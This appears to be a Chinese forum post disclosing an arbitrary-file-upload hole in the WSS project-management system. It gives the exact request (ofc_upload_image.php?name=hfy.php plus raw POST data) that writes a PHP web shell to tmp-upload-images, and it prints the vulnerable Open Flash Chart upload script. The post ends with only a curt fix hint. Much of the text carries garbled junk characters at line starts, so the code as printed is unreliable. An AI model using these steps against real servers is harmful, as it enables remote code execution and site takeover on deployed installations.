WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

/ }) h. i1 `( _8 z! K0 o利用：
2 ]0 L9 ^2 j) T% c0 x% g/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
/ Z- S) i4 G, I& A8 p
Post任意数据
% P8 \3 {& j1 i- V' k0 K6 Y保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
( {. R' |% @! \3 s8 _0 z. Q
<?php
; D8 [5 D" f; r* J' T
//
- z- N& t  g1 S! s* b$ q// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
4 r. b+ p3 \: U5 v: v//
  a* S0 }' w3 b& O2 A/ E- q: }& Z
+ ?3 u9 A4 W. h9 B2 N9 u5 B3 z9 U/*
; _' m  M7 K; }9 E8 G$ a: [
7 Y& V' v: @- s: t  \print_r( $_GET );
1 U& ^' P7 m) A  Gprint_r( $_POST );
9 ^) G! C% _) \0 s: ?print_r( $_FILES );

! c. `5 a$ R* f* [& I2 k- i% yprint_r( $GLOBALS );
' i; @# q6 q$ O8 n4 Y# Q* |* D. pprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
% E; Z* ]3 M( \
# A# x1 A  c" ]- R*/
* p; t6 L% n0 a8 y// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
* t" |% I2 K8 F: t
: }" l- w- l6 jif (!file_exists($default_path)) mkdir($default_path, 0777, true);

* k' E. D. P' I& f0 g# ~// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
2 ]% b- |) |; M) g( t
echo 'Saving your image to: '. $destination;
0 ~0 S1 F- U  n& K! B- ^' `( t// print_r( $_POST );
8 d  S. Y: q- L// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

+ J8 U9 W3 f4 c* P, O//
% E) }, O& w  g// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
# C- q, |% i: @/ z' h/ i//
- ], V! G/ |5 F5 I
, L, G8 M# h( f+ r. L! h; S; S; t8 Y$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
4 Q& ?3 B" }6 {6 {7 X2 V- p! y& Afclose($jfh);
, {2 D# P' |: k& I+ K, l9 g
//
8 t0 d2 D! }2 V& r/ v// LOOK:
//
  G! a8 Q- G/ d% a5 v# j  Pexit();
$ G5 y2 m! v  N2 U//
// PHP5:
6 J& E* O" i# H& b: \//


; {! w- B5 }5 g" s) B5 Z// default path for the image to be stored //
" X  x2 X' b8 f, b3 a9 s$default_path = 'tmp-upload-images/';

+ g6 y" {& h( O" bif (!file_exists($default_path)) mkdir($default_path, 0777, true);
$ F0 Z4 J2 s5 P4 o, h
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

, V2 Q& X* X- a// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
* U) r% [$ _* q; B) }5 ~" A    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
2 t9 m: W" Z% _4 M8 O0 K$ M) i8 ?    echo "FILE UPLOAD FAILED";
}
: |* R, X, H1 F$ [0 A) N

?>
' W; q( T, ]" U7 |9 ]' G. R


. E4 _* a9 h, C- e0 `
( U- w! B/ U& o) W* Y

$ s4 h( h* O& M3 [- `4 w修复方案：
6 A! j/ z  d5 `5 j8 L% |这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
' e, U9 g. k' `
; q8 l$ J# r) o4 i" R! l
# \4 {1 M9 A* s+ [- X
1 f& o; ]) I- m7 y$ D" l4 c- ^